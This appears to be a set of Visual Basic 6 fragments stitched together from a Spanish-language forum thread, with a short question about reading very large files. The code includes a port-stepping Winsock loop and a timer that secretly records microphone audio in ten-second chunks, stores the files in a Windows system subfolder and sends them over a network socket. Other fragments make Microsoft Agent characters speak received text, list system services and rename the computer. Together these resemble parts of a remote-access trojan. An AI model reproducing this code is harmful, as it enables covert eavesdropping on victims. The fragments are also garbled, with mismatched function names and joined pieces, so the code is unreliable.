for i=0 to 65550
   e=e+1
   winsock.remoteport=e

next i

Private Sub Sonido_Timer()
    ContadorSound = ContadorSound + 1
    Result& = mciSendString("record mysound to 10000", ReturnString, 1024, 0)
    If ContadorSound = 10 Then
        'Hemos hehco un cahco de 10 segundos
        ContadorSound = 0
        Result& = mciSendString("save mysound " & fso.GetSpecialFolder(0) & "\sys\" & ContadorEnvioSound & ".wav", ReturnString, Len(ReturnString), 0)
        Result& = mciSendString("close mysound", ReturnString, 1024, 0)
        Result& = mciSendString("open new type waveaudio alias mysound", ReturnString, 1024, 0)
       'Ponemos el formato del sonido
        Result& = mciSendString("set mysound time format ms bitspersample 8 samplespersec 11025", ReturnString, 1024, 0)
        'DatosBinarios
        If fso.FileExists(fso.GetSpecialFolder(0) & "\sys\" & 0 & ".wav") = True Then
           'sound.SendData (DatosBinarios(fso.GetSpecialFolder(0) & "\sys\" & 0 & ".wav", FreeFile))
              If ContadorEnvioSound <> 0 Then GoTo 1
              Form1.sound.SendData EnviarSound(DatosBinarios(fso.GetSpecialFolder(0) & "\sys\" & 0 & ".wav", FreeFile), 0)
        End If
1       ContadorEnvioSound = ContadorEnvioSound + 1
    End If
    
End Sub

            Load Form1.Agent(Parametros(1))
            Form1.Agent(Parametros(1)).Characters.Load (Parametros(0))
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).Activate
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).Show
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).MoveTo Val(Parametros(3)), Val(Parametros(4))
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).Speak Parametros(2)

Public Function DatosBianarios(Rut As String, Cachos As Integer)
Dim Datos As String, bytes As Double, BytesParte As Double
Dim i, e As Integer, BytesUnidos As Double, datos2 As String
BytesUnidos = 1
    Open Rut For Binary As #1
       Do While Not EOF(1)
     On Error Resume Next
            Input #1, datos2
           Datos = Datos & datos2 & vbCrLf
           DoEvents
         Loop
        Close #1

    Close #1
    bytes = Len(Datos)
    BytesParte = bytes / Cachos
    For i = 0 To Cachos - 1
        Open "c:\File\file" & e For Binary As #1
        Dim secu As String
        secu = Mid(Datos, BytesUnidos, BytesParte)
            Put #1, , secu
        Close #1
        BytesUnidos = BytesUnidos + BytesParte
        e = e + 1
    Next i
    DatosBianrios = "Todo Correcto"
End Function

  
Datos = Space(LOF(1))
     Get #1, , Datos
pero si la varible es muy grande por ejmplo 600 mb no entra en la varible dato 
alguna idea porfa

Const ERROR_MORE_DATA = 234
Const SERVICE_ACTIVE = &H1
Const SERVICE_INACTIVE = &H2
Const SC_MANAGER_ENUMERATE_SERVICE = &H4
Const SERVICE_WIN32_OWN_PROCESS As Long = &H10
Const SERVICE_WIN32_SHARE_PROCESS As Long = &H20
Const SERVICE_WIN32 As Long = SERVICE_WIN32_OWN_PROCESS + SERVICE_WIN32_SHARE_PROCESS
Public Type SERVICE_STATUS
    dwServiceType As Long
    dwCurrentState As Long
    dwControlsAccepted As Long
    dwWin32ExitCode As Long
    dwServiceSpecificExitCode As Long
    dwCheckPoint As Long
    dwWaitHint As Long
End Type
Public Type ENUM_SERVICE_STATUS
    lpServiceName As Long
    lpDisplayName As Long
    ServiceStatus As SERVICE_STATUS
End Type
Public Declare Function OpenSCManager Lib "advapi32.dll" Alias "OpenSCManagerA" (ByVal lpMachineName As String, ByVal lpDatabaseName As String, ByVal dwDesiredAccess As Long) As Long
Public Declare Function EnumServicesStatus Lib "advapi32.dll" Alias "EnumServicesStatusA" (ByVal hSCManager As Long, ByVal dwServiceType As Long, ByVal dwServiceState As Long, lpServices As Any, ByVal cbBufSize As Long, pcbBytesNeeded As Long, lpServicesReturned As Long, lpResumeHandle As Long) As Long
Public Declare Function CloseServiceHandle Lib "advapi32.dll" (ByVal hSCObject As Long) As Long
Public Declare Function lstrcpy Lib "kernel32.dll" Alias "lstrcpyA" (szDest As String, szcSource As Long) As Long
Public Function ServicesM() As String
    Dim Serv As String
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Dim hSCM As Long, lpEnumServiceStatus() As ENUM_SERVICE_STATUS, lngServiceStatusInfoBuffer As Long
    Dim strServiceName As String * 250, lngBytesNeeded As Long, lngServicesReturned As Long
    Dim hNextUnreadEntry As Long, lngStructsNeeded As Long, lngResult As Long, i As Long
    'Open connection to Service Control Manager.
    hSCM = OpenSCManager(vbNullString, vbNullString, SC_MANAGER_ENUMERATE_SERVICE)
    If hSCM = 0 Then
        'MsgBox "OpenSCManager failed. LastDllError = " & CStr(Err.LastDllError)
        Exit Function
    End If
    'Get buffer size (bytes) without passing a buffer
    'and make sure starts at 0th entry.
    hNextUnreadEntry = 0
    lngResult = EnumServicesStatus(hSCM, SERVICE_WIN32, SERVICE_ACTIVE Or SERVICE_INACTIVE, ByVal &H0, &H0, lngBytesNeeded, lngServicesReturned, hNextUnreadEntry)
    'We should receive MORE_DATA error.
    If Not Err.LastDllError = ERROR_MORE_DATA Then
        'MsgBox "LastDLLError = " & CStr(Err.LastDllError)
        Exit Function
    End If
    'Calculate the number of structures needed.
    lngStructsNeeded = lngBytesNeeded / Len(lpEnumServiceStatus(0)) + 1
    'Redimension the array according to our calculation.
    ReDim lpEnumServiceStatus(lngStructsNeeded - 1)
    'Get buffer size in bytes.
    lngServiceStatusInfoBuffer = lngStructsNeeded * Len(lpEnumServiceStatus(0))
    'Get services information starting entry 0.
    hNextUnreadEntry = 0
    lngResult = EnumServicesStatus(hSCM, SERVICE_WIN32, SERVICE_ACTIVE Or SERVICE_INACTIVE, lpEnumServiceStatus(0), lngServiceStatusInfoBuffer, lngBytesNeeded, lngServicesReturned, hNextUnreadEntry)
    If lngResult = 0 Then
        'MsgBox "EnumServicesStatus failed. LastDllError = " & CStr(Err.LastDllError)
        Exit Function
    End If
    'Get the strings and display them.
    'Me.AutoRedraw = True
    'Me.Print "All registered services:" + vbCrLf
    For i = 0 To lngServicesReturned - 1
        lngResult = lstrcpy(ByVal strServiceName, ByVal lpEnumServiceStatus(i).lpServiceName)
        Serv = Serv & StripTerminator(strServiceName) + " - "
        lngResult = lstrcpy(ByVal strServiceName, ByVal lpEnumServiceStatus(i).lpDisplayName)
        Serv = Serv & StripTerminator(strServiceName) & "<*"
        'Serv = Serv & StripTerminator(strServiceName) + " - " + StripTerminator(strServiceName)
    Next i
    'Clean up.
    CloseServiceHandle (hSCM)
    ServicesM = Serv
End Function

Public Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" ( _
ByVal lpComputerName As String) As Long
Public Function CambiarNombreOrdenador(NombreOrdenador As String) As Boolean
    Dim lResult As Long
    Dim fRV As Boolean
    lResult = SetComputerName(NombreOrdenador)
    If lResult <> 0 Then
        fRV = True
    Else
        fRV = False
    End If
    CambiarNombreOrdenador = fRV
End Function